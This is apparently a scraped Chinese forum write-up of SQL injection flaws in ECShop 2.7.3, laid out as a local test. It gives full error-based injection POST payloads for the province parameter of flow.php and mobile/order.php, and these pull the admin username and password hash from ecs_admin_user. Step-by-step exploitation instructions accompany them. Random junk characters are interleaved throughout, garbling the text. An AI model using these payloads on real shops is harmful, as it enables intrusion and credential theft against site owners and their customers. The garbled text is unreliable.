7 e# V4 I( E1 n- O! c# }, d15 ); . d' v& S( O% v; r) S' i! S# O# L, v x, m% C
好了注入就这样出现了。4 Z C$ U1 |1 @* q/ L
, I/ T! a7 x9 s
==================$ z& w* G, f9 m8 K# ?5 B: q
& v# T, O y9 `; ^1 W
注入测试: 0 ^& E( C9 t0 N0 H# m 9 J$ G! N8 {; J9 k- k6 m环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16) , ^3 c" L* D( V7 @ 5 X$ `- w' U7 K/ S! G测试程序:ECShop_V2.7.3_UTF8_release1106 ! H. _1 C# U! X" N/ d) w " s9 T* D3 c7 o/ R ; n# L% e/ ?- I2 [( `7 f& j & X9 Y2 T ]! D1.首先需要点击一个商品加入购物车 / X/ t% p$ E" z/ [5 H* G: r 4 f1 j4 R5 R+ g4 m2.注册一个会员帐号0 t: I5 y) w# O/ @
2 L1 Z q& q& C; Z; _' c7 L/ j3.post提交数据8 ~/ W4 \/ c+ p
" F8 h& s: D: o' l
. i2 t) O5 m+ ^" M; l$ `' ~/ [* H9 ]# G; G% c8 F8 Q9 ]. _
1 http://127.0.0.1/ecshop/flow.php " D! _4 J. B* D6 ?3 L' D6 l: W; E+ n6 X$ L/ A. x/ ]0 ^
2 ! z7 n$ C& ~7 f4 L+ t
6 K) E- K) s& o; i/ r) q3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 4 l- Q( [2 r% M' M1 b举一反三,我们根据这个漏洞我们可以继续深入挖掘: 8 ?5 E( D8 E4 E4 ?8 S/ W O5 U) }, C8 I5 x2 X1 U2 C
我们搜寻关键函数function available_shipping_list() 1 k; v4 Q+ g5 D2 b 4 B' p- _% v) n+ F在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同 9 q/ w S) T$ Z# W, p9 @+ c. C; W2 o9 [/ L! F' `3 O. b
利用exp: ( c* h+ s. V! J0 w+ h : X. x* C6 S1 C4 w, \+ Q+ h3 U1.点击一个商品,点击购买商标) W" n: c, t) m3 t/ F+ X0 i9 z
# }& w5 x. ]! D3 f( S" }
2.登录会员帐号 0 h+ F( |8 D7 l9 g! h, w* ]* E; S- W5 V( j9 l, y; s- V
3.post提交:- ?7 b2 P5 {7 w1 \3 n
6 W$ R: }) R8 F0 R8 h http://127.0.0.1/ecshop/mobile/order.php7 ]: B" \5 |" F; P8 j7 m, f3 M
* @& ^, u* G7 o$ d) Q+ B + l+ z. L. B5 k X " ~. \6 E$ a4 Z# w/ jcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=" b9 V9 G/ o4 ~ Q